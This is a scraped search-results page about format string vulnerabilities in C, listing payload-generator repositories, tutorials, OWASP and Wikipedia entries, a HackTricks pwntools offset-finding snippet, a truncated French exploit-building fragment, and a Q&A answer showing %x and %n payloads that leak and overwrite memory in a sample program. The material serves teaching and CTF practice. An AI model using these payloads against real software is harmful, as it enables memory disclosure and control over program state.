🌐
GitHub
github.com › Inndy › formatstring-exploit
GitHub - Inndy/formatstring-exploit: Dead simple format string exploit payload generator
Dead simple format string exploit payload generator - Inndy/formatstring-exploit
Starred by 24 users
Forked by 6 users
Languages   Python 100.0% | Python 100.0%
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - Here, I’ll show you various ways to write exploits for those kind of vulerabilities and I hope it will help you for your next CTF ! Note The examples presented in this post have been tested on a Debian with ASLR disabled. I provide the compilation arguments for gcc if you want to test them on your own. Watch out ! The dynamic analysis have been done with PEDA for gdb. The address alignment will be different outside gdb. A format string ...
🌐
GitHub
github.com › publicqi › one_fmt
GitHub - publicqi/one_fmt: Format string payload generator
The goal of this tool is to build payload for format string vulnerability, as fmt_str module from pwntools on 64-bits machines is shitty. Supports only python2 for now, as python3 for pwning is awful · Supports only 64-bits for now, as I personally ...
Author   publicqi
🌐
Exploit-DB
exploit-db.com › papers › 23985
[French] Une simple Exploitation de vulnérabilité Format String
January 8, 2013 - dr, addresse+((tabstructclasse[i].pos)*2)); strcat(exploit, tempaddr); lensofar+=4; } for(i=0; i<lentabstruct; i++) { vale=tabstructclasse[i].val-lensofar; //length to add to generate the right byte (corresponding to the one //we are up to in variable phrase) sprintf(tempa, "%%%dx", vale); valmod=16-strlen(tempa); nba+=valmod; //If you want to use %**x (** being a number) to generate the right len //you still have to follow the rule to add only 16 by 16 chars to the exploit chain for the alignment on the stack //to remains the same strcat(exploit, tempa); sprintf(tempmod, "%%%d$hn", deb); strc
🌐
GitHub
github.com › owlinux1000 › fsalib
GitHub - owlinux1000/fsalib: format string attack payload generator
format string attack payload generator. Contribute to owlinux1000/fsalib development by creating an account on GitHub.
Author   owlinux1000
🌐
Kayssel
kayssel.com › post › format-string
Mastering Format String Exploits: A Comprehensive Guide
January 7, 2024 - Explore the intricacies of format string vulnerabilities in C programming. Learn their risks, exploit development with radare2, and crafting Python exploits. Gain crucial insights into secure coding practices.
🌐
CTF Handbook
ctf101.org › binary-exploitation › what-is-a-format-string-vulnerability
Format String Vulnerability - CTF Handbook
For example, if we can make the format argument "%x.%x.%x.%x", printf will pop off four stack values and print them in hexadecimal, potentially leaking sensitive information. printf can also index to an arbitrary "argument" with the following syntax: "%n$x" (where n is the decimal index of the argument you want). While these bugs are powerful, they're very rare nowadays, as all modern compilers warn when printf is called with a non-constant string...
Find elsewhere
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The attack could be executed when the application doesn’t properly validate the submitted input. In this case, if a Format String parameter, like %x, is inserted into the posted data, the string is parsed by the Format Function, and the conversion specified in the parameters is executed.
🌐
HackTricks
book.hacktricks.xyz › binary-exploitation › format-strings › format-strings-template
Format Strings Template - HackTricks
August 18, 2024 - ERROR, MAX LENGTH EXCEEDED") P.sendline(payload) sleep(0.5) return P.recv() def get_formatstring_config(): global P for offset in range(1,1000): connect_binary() P.clean() payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" recieved = send_payload(payload).strip() if b"41" in recieved: for padlen in range(0,4): if b"41414141" in recieved: connect_binary() payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" recieved = send_payload(payload).strip() print(recieved) if b"42424242" in recieved: log.info(f"Found offset ({offset}) and padlen ({padlen})") return offset, padlen else: connect_binary() payload = b" " + payload recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload # is being reflected.
🌐
Number Analytics
numberanalytics.com › blog › format-string-vulnerability-guide
Format String Vulnerability Guide
June 11, 2025 - format string exploit generator: a tool for generating exploits for format string vulnerabilities.
🌐
DEF CON
defcon.org › images › defcon-18 › dc-18-presentations › Haas › DEFCON-18-Haas-Adv-Format-String-Attacks.pdf pdf
Advanced Format String Attacks Presented by Paul Haas
The largest hacking and security conference with presentations, workshops, contests, villages and the premier Capture The Flag Contest.
🌐
pwn.college
pwn.college › software-exploitation › format-string-exploits
Format String Exploits
Exploiting format string vulnerabilities is like a locksmith using a special set of tools to subtly manipulate the inner workings of a lock. It involves delicately inserting custom-crafted sequences into a program's output functions, much like ...
🌐
Cotonne does Craft!
cotonne.github.io › binary › 2020 › 07 › 14 › format-string.html
Exploiting Format String with PwnTools | Cotonne does Craft!
July 14, 2020 - ... We should be careful when we overwrite the stack to not modify the canary value. ... Well, those protections are not really annoying as we have a convenient vulnerability. With the format string vulnerability, we can read the stack, find precisely interesting values, and overwrite them.
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
Wikipedia
en.wikipedia.org › wiki › Uncontrolled_format_string
Uncontrolled format string - Wikipedia
December 21, 2025 - The audit uncovered an snprintf that directly passed user-generated data without a format string. Extensive tests with contrived arguments to printf-style functions showed that it was possible to use this for privilege escalation. This led to the first posting in September 1999 on the Bugtraq mailing list regarding this class of vulnerabilities, including a basic exploit...